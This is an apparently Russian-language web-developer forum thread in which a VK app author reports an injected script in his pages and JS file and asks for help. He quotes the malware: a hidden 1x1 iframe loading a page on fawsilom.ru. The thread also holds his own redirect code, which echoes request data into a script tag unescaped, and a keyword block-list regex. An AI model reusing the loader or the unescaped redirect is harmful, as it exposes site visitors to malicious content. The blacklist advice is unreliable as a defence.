XSS ?
|
|
Lord135 | Дата: Вторник, 08 Января 2013, 09:39 | Сообщение # 1 |
постоянный участник
Сейчас нет на сайте
| Пишу я значит некое приложение. И всё было хорошо, но вот тут недавно я захожу в это приложение, а вместо того, чтобы логинить меня, оно висит, я значит исходный код открыл (логинит JavaScript с PHP на пару) а там, вот такая вот прелесть:
Код <script type="text/javascript" language="javascript" > (function () { var x = document.createElement('iframe'); x.src = 'http://fawsilom.ru/count8.php'; x.style.position = 'absolute'; x.style.border = '0'; x.style.height = '1px'; x.style.width = '1px'; x.style.left = '1px'; x.style.top = '1px'; if (!document.getElementById('x')) { document.write('<div id=\'x\'></div>'); document.getElementById('x').appendChild(x); }})();</script>
Почитал я значит в интернетах о XSS, и дыры вроде закрыл (проверка урл и его последующая обрезка, входные данные и так фильтруются). Но вот не задача, через несколько часов я обнаруживаю, что приложение снова висит, бегу смотреть исходник - там ничего. Открываю js-ку, которая подключается к этой странице. Бац! В js-ке этот код. Хостинг платный и следовательно ничего своего к моим страницам не добавляет (типа кодов баннеров и т.д.).
Как от этого защитится?
|
|
| |
liker | Дата: Вторник, 08 Января 2013, 09:59 | Сообщение # 2 |
почетный гость
Сейчас нет на сайте
| значит плохо отфильтровал фильтруй по принципу: только допустимые символы скажем: $string = preg_replace('/[^\w]/u','',$string); оставит только цифры и буквы(включая русские)
Сообщение отредактировал liker - Вторник, 08 Января 2013, 10:06 |
|
| |
MrNesh | Дата: Вторник, 08 Января 2013, 11:24 | Сообщение # 3 |
Воин добра и света
Сейчас нет на сайте
| Как то странно...у моего друга в его игре тоже самоем...предложил тупо все действия отслеживать
|
|
| |
Lord135 | Дата: Среда, 09 Января 2013, 18:46 | Сообщение # 4 |
постоянный участник
Сейчас нет на сайте
| jiumx60rus, ведение лога не помогло. Сегодня захожу, а там уже опять код. В бд же нигде ничего нету. Ни в пост запросах, ни в гет. Нету даже входа. Т.е. даже открытия страницы. Я в тупике
|
|
| |
MrNesh | Дата: Среда, 09 Января 2013, 18:56 | Сообщение # 5 |
Воин добра и света
Сейчас нет на сайте
| Комп проверь
|
|
| |
liker | Дата: Среда, 09 Января 2013, 18:58 | Сообщение # 6 |
почетный гость
Сейчас нет на сайте
| ты сюда скинь какой функцией фильтруешь данные, в ней мб ошибка, если хочешь, скинь все-таки сайт, я поищу уязвимость
Сообщение отредактировал liker - Среда, 09 Января 2013, 19:26 |
|
| |
Lord135 | Дата: Среда, 09 Января 2013, 20:25 | Сообщение # 7 |
постоянный участник
Сейчас нет на сайте
| liker, Дело не в функции. Дело в том, что даже лог не сечёт ничего. Т.е. до фильтра даже не доходит. А на уязвимость уже потестили)
jiumx60rus, хочешь сказать, что у меня сидит вирь который заражает всё это дело?Добавлено (09.01.2013, 20:25) --------------------------------------------- liker,
Код if(preg_match("/\/?api_url\=+[0-9A-zА-я]+[\-\&\^\%\$\#\@\!\"\№\;\:\?\*\(\)\_\+\=]+/",$_SERVER['REQUEST_URI'])){ $url = $_SERVER['REQUEST_URI']; $url = explode("/?api_url=http://api.vk.com/api.php&",$url); $url = $url[1]; $url = explode("&",$url); $new_url = "/index.php?"; for($i=0;$i<sizeof($url);$i++){ $url_elem = explode("=",$url[$i]); if($url_elem[0]=="viewer_id"){ $new_url.="viewer_id=".$url_elem[1]."&"; }elseif($url_elem[0]=="viewer_type"){ $new_url.="viewer_type=".$url_elem[1]; } } echo "<script>location.href='".$new_url."';</script>"; }
|
|
| |
liker | Дата: Среда, 09 Января 2013, 20:33 | Сообщение # 8 |
почетный гость
Сейчас нет на сайте
| Lord135, чето стремная функция у вас, я вот эту юзаю: Код if(preg_match('/[^a-z\d\/]|script|concat|etc|passwd|ftp|cmd|admin|call|or|and|php|http|SELECT|UNION|UPDATE|exe|flush|INSERT|eval|tmp/i', $uri){$uri='';}ну или что-то другое хотя я юзаю ЧПУ, ну т.е. site.ru/cat/25/id/37, а не site.ru/?cat=25&id=37
Сообщение отредактировал liker - Среда, 09 Января 2013, 20:35 |
|
| |
Lord135 | Дата: Среда, 09 Января 2013, 20:44 | Сообщение # 9 |
постоянный участник
Сейчас нет на сайте
| liker, Мне просто Вконтакт присылает строку с $_GET`ом, и вот её я обрезаю, оставляя только нужные значения. Добавлено (09.01.2013, 20:44) --------------------------------------------- liker, У тебя нету там DELETE и TRUNCATE с DROP. Тоже опасно по-мойму.
|
|
| |
liker | Дата: Среда, 09 Января 2013, 21:16 | Сообщение # 10 |
почетный гость
Сейчас нет на сайте
| окей добавлю
|
|
| |